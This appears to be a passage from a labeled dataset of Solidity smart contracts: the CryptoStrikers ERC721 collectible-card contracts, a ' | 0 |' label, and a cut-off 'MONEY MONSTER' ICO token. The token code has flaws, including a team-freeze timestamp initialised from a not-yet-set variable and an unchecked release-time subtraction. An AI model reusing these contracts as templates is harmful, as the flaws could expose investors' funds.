function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract StrikersPlayerList is Ownable {
event PlayerAdded(uint8 indexed id, string name);
uint8 public playerCount;
constructor() public {
addPlayer("Lionel Messi");
addPlayer("Cristiano Ronaldo");
addPlayer("Neymar");
addPlayer("Mohamed Salah");
addPlayer("Robert Lewandowski");
addPlayer("Kevin De Bruyne");
addPlayer("Luka Modrić");
addPlayer("Eden Hazard");
addPlayer("Sergio Ramos");
addPlayer("Toni Kroos");
addPlayer("Luis Suárez");
addPlayer("Harry Kane");
addPlayer("Sergio Agüero");
addPlayer("Kylian Mbappé");
addPlayer("Gonzalo Higuaín");
addPlayer("David de Gea");
addPlayer("Antoine Griezmann");
addPlayer("N'Golo Kanté");
addPlayer("Edinson Cavani");
addPlayer("Paul Pogba");
addPlayer("Isco");
addPlayer("Marcelo");
addPlayer("Manuel Neuer");
addPlayer("Dries Mertens");
addPlayer("James Rodríguez");
addPlayer("Paulo Dybala");
addPlayer("Christian Eriksen");
addPlayer("David Silva");
addPlayer("Gabriel Jesus");
addPlayer("Thiago");
addPlayer("Thibaut Courtois");
addPlayer("Philippe Coutinho");
addPlayer("Andrés Iniesta");
addPlayer("Casemiro");
addPlayer("Romelu Lukaku");
addPlayer("Gerard Piqué");
addPlayer("Mats Hummels");
addPlayer("Diego Godín");
addPlayer("Mesut Özil");
addPlayer("Son Heung-min");
addPlayer("Raheem Sterling");
addPlayer("Hugo Lloris");
addPlayer("Radamel Falcao");
addPlayer("Ivan Rakitić");
addPlayer("Leroy Sané");
addPlayer("Roberto Firmino");
addPlayer("Sadio Mané");
addPlayer("Thomas Müller");
addPlayer("Dele Alli");
addPlayer("Keylor Navas");
addPlayer("Thiago Silva");
addPlayer("Raphaël Varane");
addPlayer("Ángel Di María");
addPlayer("Jordi Alba");
addPlayer("Medhi Benatia");
addPlayer("Timo Werner");
addPlayer("Gylfi Sigurðsson");
addPlayer("Nemanja Matić");
addPlayer("Kalidou Koulibaly");
addPlayer("Bernardo Silva");
addPlayer("Vincent Kompany");
addPlayer("João Moutinho");
addPlayer("Toby Alderweireld");
addPlayer("Emil Forsberg");
addPlayer("Mario Mandžukić");
addPlayer("Sergej Milinković-Savić");
addPlayer("Shinji Kagawa");
addPlayer("Granit Xhaka");
addPlayer("Andreas Christensen");
addPlayer("Piotr Zieliński");
addPlayer("Fyodor Smolov");
addPlayer("Xherdan Shaqiri");
addPlayer("Marcus Rashford");
addPlayer("Javier Hernández");
addPlayer("Hirving Lozano");
addPlayer("Hakim Ziyech");
addPlayer("Victor Moses");
addPlayer("Jefferson Farfán");
addPlayer("Mohamed Elneny");
addPlayer("Marcus Berg");
addPlayer("Guillermo Ochoa");
addPlayer("Igor Akinfeev");
addPlayer("Sardar Azmoun");
addPlayer("Christian Cueva");
addPlayer("Wahbi Khazri");
addPlayer("Keisuke Honda");
addPlayer("Tim Cahill");
addPlayer("John Obi Mikel");
addPlayer("Ki Sung-yueng");
addPlayer("Bryan Ruiz");
addPlayer("Maya Yoshida");
addPlayer("Nawaf Al Abed");
addPlayer("Lee Chung-yong");
addPlayer("Gabriel Gómez");
addPlayer("Naïm Sliti");
addPlayer("Reza Ghoochannejhad");
addPlayer("Mile Jedinak");
addPlayer("Mohammad Al-Sahlawi");
addPlayer("Aron Gunnarsson");
addPlayer("Blas Pérez");
addPlayer("Dani Alves");
addPlayer("Zlatan Ibrahimović");
}
function addPlayer(string _name) public onlyOwner {
require(playerCount < 255, "You've already added the maximum amount of players.");
emit PlayerAdded(playerCount, _name);
playerCount++;
}
}
contract StrikersChecklist is StrikersPlayerList {
enum DeployStep {
WaitingForStepOne,
WaitingForStepTwo,
WaitingForStepThree,
WaitingForStepFour,
DoneInitialDeploy
}
enum RarityTier {
IconicReferral,
IconicInsert,
Diamond,
Gold,
Silver,
Bronze
}
uint16[] public tierLimits = [
0,
100,
1000,
1664,
3328,
4352
];
struct ChecklistItem {
uint8 playerId;
RarityTier tier;
}
DeployStep public deployStep;
ChecklistItem[] public originalChecklistItems;
ChecklistItem[] public iconicChecklistItems;
ChecklistItem[] public unreleasedChecklistItems;
function _addOriginalChecklistItem(uint8 _playerId, RarityTier _tier) internal {
originalChecklistItems.push(ChecklistItem({
playerId: _playerId,
tier: _tier
}));
}
function _addIconicChecklistItem(uint8 _playerId, RarityTier _tier) internal {
iconicChecklistItems.push(ChecklistItem({
playerId: _playerId,
tier: _tier
}));
}
function addUnreleasedChecklistItem(uint8 _playerId, RarityTier _tier) external onlyOwner {
require(deployStep == DeployStep.DoneInitialDeploy, "Finish deploying the Originals and Iconics sets first.");
require(unreleasedCount() < 56, "You can't add any more checklist items.");
require(_playerId < playerCount, "This player doesn't exist in our player list.");
unreleasedChecklistItems.push(ChecklistItem({
playerId: _playerId,
tier: _tier
}));
}
function originalsCount() external view returns (uint256) {
return originalChecklistItems.length;
}
function iconicsCount() public view returns (uint256) {
return iconicChecklistItems.length;
}
function unreleasedCount() public view returns (uint256) {
return unreleasedChecklistItems.length;
}
function deployStepOne() external onlyOwner {
require(deployStep == DeployStep.WaitingForStepOne, "You're not following the steps in order...");
_addOriginalChecklistItem(0, RarityTier.Diamond);
_addOriginalChecklistItem(1, RarityTier.Diamond);
_addOriginalChecklistItem(2, RarityTier.Diamond);
_addOriginalChecklistItem(3, RarityTier.Diamond);
_addOriginalChecklistItem(4, RarityTier.Gold);
_addOriginalChecklistItem(5, RarityTier.Gold);
_addOriginalChecklistItem(6, RarityTier.Gold);
_addOriginalChecklistItem(7, RarityTier.Gold);
_addOriginalChecklistItem(8, RarityTier.Gold);
_addOriginalChecklistItem(9, RarityTier.Gold);
_addOriginalChecklistItem(10, RarityTier.Gold);
_addOriginalChecklistItem(11, RarityTier.Gold);
_addOriginalChecklistItem(12, RarityTier.Gold);
_addOriginalChecklistItem(13, RarityTier.Gold);
_addOriginalChecklistItem(14, RarityTier.Gold);
_addOriginalChecklistItem(15, RarityTier.Gold);
_addOriginalChecklistItem(16, RarityTier.Gold);
_addOriginalChecklistItem(17, RarityTier.Gold);
_addOriginalChecklistItem(18, RarityTier.Gold);
_addOriginalChecklistItem(19, RarityTier.Gold);
_addOriginalChecklistItem(20, RarityTier.Silver);
_addOriginalChecklistItem(21, RarityTier.Silver);
_addOriginalChecklistItem(22, RarityTier.Silver);
_addOriginalChecklistItem(23, RarityTier.Silver);
_addOriginalChecklistItem(24, RarityTier.Silver);
_addOriginalChecklistItem(25, RarityTier.Silver);
_addOriginalChecklistItem(26, RarityTier.Silver);
_addOriginalChecklistItem(27, RarityTier.Silver);
_addOriginalChecklistItem(28, RarityTier.Silver);
_addOriginalChecklistItem(29, RarityTier.Silver);
_addOriginalChecklistItem(30, RarityTier.Silver);
_addOriginalChecklistItem(31, RarityTier.Silver);
_addOriginalChecklistItem(32, RarityTier.Silver);
deployStep = DeployStep.WaitingForStepTwo;
}
function deployStepTwo() external onlyOwner {
require(deployStep == DeployStep.WaitingForStepTwo, "You're not following the steps in order...");
_addOriginalChecklistItem(33, RarityTier.Silver);
_addOriginalChecklistItem(34, RarityTier.Silver);
_addOriginalChecklistItem(35, RarityTier.Silver);
_addOriginalChecklistItem(36, RarityTier.Silver);
_addOriginalChecklistItem(37, RarityTier.Silver);
_addOriginalChecklistItem(38, RarityTier.Silver);
_addOriginalChecklistItem(39, RarityTier.Silver);
_addOriginalChecklistItem(40, RarityTier.Silver);
_addOriginalChecklistItem(41, RarityTier.Silver);
_addOriginalChecklistItem(42, RarityTier.Silver);
_addOriginalChecklistItem(43, RarityTier.Silver);
_addOriginalChecklistItem(44, RarityTier.Silver);
_addOriginalChecklistItem(45, RarityTier.Silver);
_addOriginalChecklistItem(46, RarityTier.Silver);
_addOriginalChecklistItem(47, RarityTier.Silver);
_addOriginalChecklistItem(48, RarityTier.Silver);
_addOriginalChecklistItem(49, RarityTier.Silver);
_addOriginalChecklistItem(50, RarityTier.Bronze);
_addOriginalChecklistItem(51, RarityTier.Bronze);
_addOriginalChecklistItem(52, RarityTier.Bronze);
_addOriginalChecklistItem(53, RarityTier.Bronze);
_addOriginalChecklistItem(54, RarityTier.Bronze);
_addOriginalChecklistItem(55, RarityTier.Bronze);
_addOriginalChecklistItem(56, RarityTier.Bronze);
_addOriginalChecklistItem(57, RarityTier.Bronze);
_addOriginalChecklistItem(58, RarityTier.Bronze);
_addOriginalChecklistItem(59, RarityTier.Bronze);
_addOriginalChecklistItem(60, RarityTier.Bronze);
_addOriginalChecklistItem(61, RarityTier.Bronze);
_addOriginalChecklistItem(62, RarityTier.Bronze);
_addOriginalChecklistItem(63, RarityTier.Bronze);
_addOriginalChecklistItem(64, RarityTier.Bronze);
_addOriginalChecklistItem(65, RarityTier.Bronze);
deployStep = DeployStep.WaitingForStepThree;
}
function deployStepThree() external onlyOwner {
require(deployStep == DeployStep.WaitingForStepThree, "You're not following the steps in order...");
_addOriginalChecklistItem(66, RarityTier.Bronze);
_addOriginalChecklistItem(67, RarityTier.Bronze);
_addOriginalChecklistItem(68, RarityTier.Bronze);
_addOriginalChecklistItem(69, RarityTier.Bronze);
_addOriginalChecklistItem(70, RarityTier.Bronze);
_addOriginalChecklistItem(71, RarityTier.Bronze);
_addOriginalChecklistItem(72, RarityTier.Bronze);
_addOriginalChecklistItem(73, RarityTier.Bronze);
_addOriginalChecklistItem(74, RarityTier.Bronze);
_addOriginalChecklistItem(75, RarityTier.Bronze);
_addOriginalChecklistItem(76, RarityTier.Bronze);
_addOriginalChecklistItem(77, RarityTier.Bronze);
_addOriginalChecklistItem(78, RarityTier.Bronze);
_addOriginalChecklistItem(79, RarityTier.Bronze);
_addOriginalChecklistItem(80, RarityTier.Bronze);
_addOriginalChecklistItem(81, RarityTier.Bronze);
_addOriginalChecklistItem(82, RarityTier.Bronze);
_addOriginalChecklistItem(83, RarityTier.Bronze);
_addOriginalChecklistItem(84, RarityTier.Bronze);
_addOriginalChecklistItem(85, RarityTier.Bronze);
_addOriginalChecklistItem(86, RarityTier.Bronze);
_addOriginalChecklistItem(87, RarityTier.Bronze);
_addOriginalChecklistItem(88, RarityTier.Bronze);
_addOriginalChecklistItem(89, RarityTier.Bronze);
_addOriginalChecklistItem(90, RarityTier.Bronze);
_addOriginalChecklistItem(91, RarityTier.Bronze);
_addOriginalChecklistItem(92, RarityTier.Bronze);
_addOriginalChecklistItem(93, RarityTier.Bronze);
_addOriginalChecklistItem(94, RarityTier.Bronze);
_addOriginalChecklistItem(95, RarityTier.Bronze);
_addOriginalChecklistItem(96, RarityTier.Bronze);
_addOriginalChecklistItem(97, RarityTier.Bronze);
_addOriginalChecklistItem(98, RarityTier.Bronze);
_addOriginalChecklistItem(99, RarityTier.Bronze);
deployStep = DeployStep.WaitingForStepFour;
}
function deployStepFour() external onlyOwner {
require(deployStep == DeployStep.WaitingForStepFour, "You're not following the steps in order...");
_addIconicChecklistItem(0, RarityTier.IconicInsert);
_addIconicChecklistItem(1, RarityTier.IconicInsert);
_addIconicChecklistItem(2, RarityTier.IconicInsert);
_addIconicChecklistItem(3, RarityTier.IconicInsert);
_addIconicChecklistItem(4, RarityTier.IconicInsert);
_addIconicChecklistItem(5, RarityTier.IconicInsert);
_addIconicChecklistItem(6, RarityTier.IconicInsert);
_addIconicChecklistItem(7, RarityTier.IconicInsert);
_addIconicChecklistItem(8, RarityTier.IconicInsert);
_addIconicChecklistItem(9, RarityTier.IconicInsert);
_addIconicChecklistItem(10, RarityTier.IconicInsert);
_addIconicChecklistItem(11, RarityTier.IconicInsert);
_addIconicChecklistItem(12, RarityTier.IconicInsert);
_addIconicChecklistItem(15, RarityTier.IconicInsert);
_addIconicChecklistItem(16, RarityTier.IconicInsert);
_addIconicChecklistItem(17, RarityTier.IconicReferral);
_addIconicChecklistItem(18, RarityTier.IconicReferral);
_addIconicChecklistItem(19, RarityTier.IconicInsert);
_addIconicChecklistItem(21, RarityTier.IconicInsert);
_addIconicChecklistItem(24, RarityTier.IconicInsert);
_addIconicChecklistItem(26, RarityTier.IconicInsert);
_addIconicChecklistItem(29, RarityTier.IconicReferral);
_addIconicChecklistItem(36, RarityTier.IconicReferral);
_addIconicChecklistItem(38, RarityTier.IconicReferral);
_addIconicChecklistItem(39, RarityTier.IconicInsert);
_addIconicChecklistItem(46, RarityTier.IconicInsert);
_addIconicChecklistItem(48, RarityTier.IconicInsert);
_addIconicChecklistItem(49, RarityTier.IconicReferral);
_addIconicChecklistItem(73, RarityTier.IconicInsert);
_addIconicChecklistItem(85, RarityTier.IconicInsert);
_addIconicChecklistItem(100, RarityTier.IconicReferral);
_addIconicChecklistItem(101, RarityTier.IconicReferral);
deployStep = DeployStep.DoneInitialDeploy;
}
function limitForChecklistId(uint8 _checklistId) external view returns (uint16) {
RarityTier rarityTier;
uint8 index;
if (_checklistId < 100) {
rarityTier = originalChecklistItems[_checklistId].tier;
} else if (_checklistId < 200) {
index = _checklistId - 100;
require(index < iconicsCount(), "This Iconics checklist item doesn't exist.");
rarityTier = iconicChecklistItems[index].tier;
} else {
index = _checklistId - 200;
require(index < unreleasedCount(), "This Unreleased checklist item doesn't exist.");
rarityTier = unreleasedChecklistItems[index].tier;
}
return tierLimits[uint8(rarityTier)];
}
}
contract StrikersBase is ERC721Token("CryptoStrikers", "STRK") {
event CardMinted(uint256 cardId);
struct Card {
uint32 mintTime;
uint8 checklistId;
uint16 serialNumber;
}
Card[] public cards;
mapping (uint8 => uint16) public mintedCountForChecklistId;
StrikersChecklist public strikersChecklist;
function cardAndChecklistIdsForOwner(address _owner) external view returns (uint256[], uint8[]) {
uint256[] memory cardIds = ownedTokens[_owner];
uint256 cardCount = cardIds.length;
uint8[] memory checklistIds = new uint8[](cardCount);
for (uint256 i = 0; i < cardCount; i++) {
uint256 cardId = cardIds[i];
checklistIds[i] = cards[cardId].checklistId;
}
return (cardIds, checklistIds);
}
function _mintCard(
uint8 _checklistId,
address _owner
)
internal
returns (uint256)
{
uint16 mintLimit = strikersChecklist.limitForChecklistId(_checklistId);
require(mintLimit == 0 || mintedCountForChecklistId[_checklistId] < mintLimit, "Can't mint any more of this card!");
uint16 serialNumber = ++mintedCountForChecklistId[_checklistId];
Card memory newCard = Card({
mintTime: uint32(now),
checklistId: _checklistId,
serialNumber: serialNumber
});
uint256 newCardId = cards.push(newCard) - 1;
emit CardMinted(newCardId);
_mint(_owner, newCardId);
return newCardId;
}
}
contract StrikersUpdate is Ownable {
event PickMade(address indexed user, uint8 indexed game, uint256 cardId);
event CardUpgraded(address indexed user, uint8 indexed game, uint256 cardId);
uint8 constant CHECKLIST_ITEM_COUNT = 132;
uint8 constant GAME_COUNT = 8;
mapping (uint256 => uint8) public starCountForCard;
mapping (address => uint256[GAME_COUNT]) public picksForUser;
struct Game {
uint8[] acceptedChecklistIds;
uint32 startTime;
uint8 homeTeam;
uint8 awayTeam;
}
Game[] public games;
StrikersBase public strikersBaseContract;
constructor(address _strikersBaseAddress) public {
strikersBaseContract = StrikersBase(_strikersBaseAddress);
Game memory game57;
game57.startTime = 1530885600;
game57.homeTeam = 31;
game57.awayTeam = 10;
games.push(game57);
games[0].acceptedChecklistIds = [10, 13, 16, 17, 18, 19, 37, 41, 51];
Game memory game58;
game58.startTime = 1530900000;
game58.homeTeam = 3;
game58.awayTeam = 2;
games.push(game58);
games[1].acceptedChecklistIds = [2, 5, 7, 21, 23, 28, 30, 31, 33, 34, 45, 50, 60, 62];
Game memory game60;
game60.startTime = 1530972000;
game60.homeTeam = 28;
game60.awayTeam = 9;
games.push(game60);
games[2].acceptedChecklistIds = [11, 40, 48, 63, 72, 79];
Game memory game59;
game59.startTime = 1530986400;
game59.homeTeam = 22;
game59.awayTeam = 6;
games.push(game59);
games[3].acceptedChecklistIds = [6, 43, 64, 70, 81];
Game memory game61;
game61.startTime = 1531245600;
games.push(game61);
Game memory game62;
game62.startTime = 1531332000;
games.push(game62);
Game memory game63;
game63.startTime = 1531580400;
games.push(game63);
Game memory game64;
game64.startTime = 1531666800;
games.push(game64);
}
function updateGame(uint8 _game, uint8[] _acceptedChecklistIds, uint32 _startTime, uint8 _homeTeam, uint8 _awayTeam) external onlyOwner {
Game storage game = games[_game];
game.acceptedChecklistIds = _acceptedChecklistIds;
game.startTime = _startTime;
game.homeTeam = _homeTeam;
game.awayTeam = _awayTeam;
}
function getGame(uint8 _game)
external
view
returns (
uint8[] acceptedChecklistIds,
uint32 startTime,
uint8 homeTeam,
uint8 awayTeam
) {
Game memory game = games[_game];
acceptedChecklistIds = game.acceptedChecklistIds;
startTime = game.startTime;
homeTeam = game.homeTeam;
awayTeam = game.awayTeam;
}
function makePick(uint8 _game, uint256 _cardId) external {
Game memory game = games[_game];
require(now < game.startTime, "This game has already started.");
require(strikersBaseContract.ownerOf(_cardId) == msg.sender, "You don't own this card.");
uint8 checklistId;
(,checklistId,) = strikersBaseContract.cards(_cardId);
require(_arrayContains(game.acceptedChecklistIds, checklistId), "This card is invalid for this game.");
picksForUser[msg.sender][_game] = _cardId;
emit PickMade(msg.sender, _game, _cardId);
}
function _arrayContains(uint8[] _array, uint8 _element) internal pure returns (bool) {
for (uint i = 0; i < _array.length; i++) {
if (_array[i] == _element) {
return true;
}
}
return false;
}
function updateCards(uint8 _game, uint256[] _cardIds) external onlyOwner {
for (uint256 i = 0; i < _cardIds.length; i++) {
uint256 cardId = _cardIds[i];
address owner = strikersBaseContract.ownerOf(cardId);
if (picksForUser[owner][_game] == cardId) {
starCountForCard[cardId]++;
emit CardUpgraded(owner, _game, cardId);
}
}
}
function getPicksForUser(address _user) external view returns (uint256[GAME_COUNT]) {
return picksForUser[_user];
}
function starCountsForOwner(address _owner) external view returns (uint8[]) {
uint256[] memory cardIds;
(cardIds,) = strikersBaseContract.cardAndChecklistIdsForOwner(_owner);
uint256 cardCount = cardIds.length;
uint8[] memory starCounts = new uint8[](cardCount);
for (uint256 i = 0; i < cardCount; i++) {
uint256 cardId = cardIds[i];
starCounts[i] = starCountForCard[cardId];
}
return starCounts;
}
function getMintedCounts() external view returns (uint16[CHECKLIST_ITEM_COUNT]) {
uint16[CHECKLIST_ITEM_COUNT] memory mintedCounts;
for (uint8 i = 0; i < CHECKLIST_ITEM_COUNT; i++) {
mintedCounts[i] = strikersBaseContract.mintedCountForChecklistId(i);
}
return mintedCounts;
}
} | 0 |
pragma solidity ^0.4.18;
contract Owned {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function changeOwner(address _newOwner) public onlyOwner{
owner = _newOwner;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract limitedFactor {
using SafeMath for uint;
uint256 public totalSupply = 0;
uint256 public topTotalSupply = 18*10**8*10**18;
uint256 public teamSupply = percent(15);
uint256 public teamAlloacting = 0;
uint256 internal teamReleasetokenEachMonth = 5 * teamSupply / 100;
uint256 public creationInvestmentSupply = percent(15);
uint256 public creationInvestmenting = 0;
uint256 public ICOtotalSupply = percent(30);
uint256 public ICOSupply = 0;
uint256 public communitySupply = percent(20);
uint256 public communityAllocating = 0;
uint256 public angelWheelFinanceSupply = percent(20);
uint256 public angelWheelFinancing = 0;
address public walletAddress;
uint256 public teamAddressFreezeTime = startTimeRoundOne;
address public teamAddress;
uint256 internal teamAddressTransfer = 0;
uint256 public exchangeRateRoundOne = 16000;
uint256 public exchangeRateRoundTwo = 10000;
uint256 internal startTimeRoundOne = 1526313600;
uint256 internal stopTimeRoundOne = 1528991999;
modifier teamAccountNeedFreeze18Months(address _address) {
if(_address == teamAddress) {
require(now >= teamAddressFreezeTime + 1.5 years);
}
_;
}
modifier releaseToken (address _user, uint256 _time, uint256 _value) {
if (_user == teamAddress){
require (teamAddressTransfer + _value <= calcReleaseToken(_time));
}
_;
}
function calcReleaseToken (uint256 _time) internal view returns (uint256) {
uint256 _timeDifference = _time - (teamAddressFreezeTime + 1.5 years);
return _timeDifference / (3600 * 24 * 30) * teamReleasetokenEachMonth;
}
function percent(uint256 percentage) internal view returns (uint256) {
return percentage.mul(topTotalSupply).div(100);
}
}
contract standardToken is ERC20Token, limitedFactor {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value)
public
teamAccountNeedFreeze18Months(msg.sender)
releaseToken(msg.sender, now, _value)
returns (bool success)
{
require (balances[msg.sender] >= _value);
require (balances[_to] + _value >= balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
if (msg.sender == teamAddress) {
teamAddressTransfer += _value;
}
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
approve(_spender, _value);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (balances[_from] >= _value);
require (balances[_to] + _value >= balances[_to]);
require (_value <= allowances[_from][msg.sender]);
balances[_from] -= _value;
balances[_to] += _value;
allowances[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowances[_owner][_spender];
}
}
contract MMChainToken is standardToken,Owned {
using SafeMath for uint;
string constant public name="MONEY MONSTER";
string constant public symbol="MM";
uint256 constant public decimals=6;
bool public ICOStart;
function() public payable {
require (ICOStart);
depositToken(msg.value);
}
function MMChainToken() public {
owner=msg.sender;
ICOStart = true;
}
function depositToken(uint256 _value) internal {
uint256 tokenAlloc = buyPriceAt(getTime()) * _value;
require(tokenAlloc != 0);
ICOSupply = ICOSupply.add(tokenAlloc);
require (ICOSupply <= ICOtotalSupply);
mintTokens(msg.sender, tokenAlloc);
forwardFunds();
}
function forwardFunds() internal {
if (walletAddress != address(0)){
walletAddress.transfer(msg.value);
}
}
function mintTokens(address _to, uint256 _amount) internal {
require (balances[_to] + _amount >= balances[_to]);
balances[_to] = balances[_to].add(_amount);
totalSupply = totalSupply.add(_amount);
require(totalSupply <= topTotalSupply);
emit Transfer(0x0, _to, _amount);
}
function buyPriceAt(uint256 _time) internal constant returns(uint256) {
if (_time >= startTimeRoundOne && _time <= stopTimeRoundOne) {
return exchangeRateRoundOne;
} else {
return 0;
}
}
function getTime() internal constant returns(uint256) {
return now;
}
function setInitialVaribles(address _walletAddress, address _teamAddress) public onlyOwner {
walletAddress = _walletAddress;
teamAddress = _teamAddress;
}
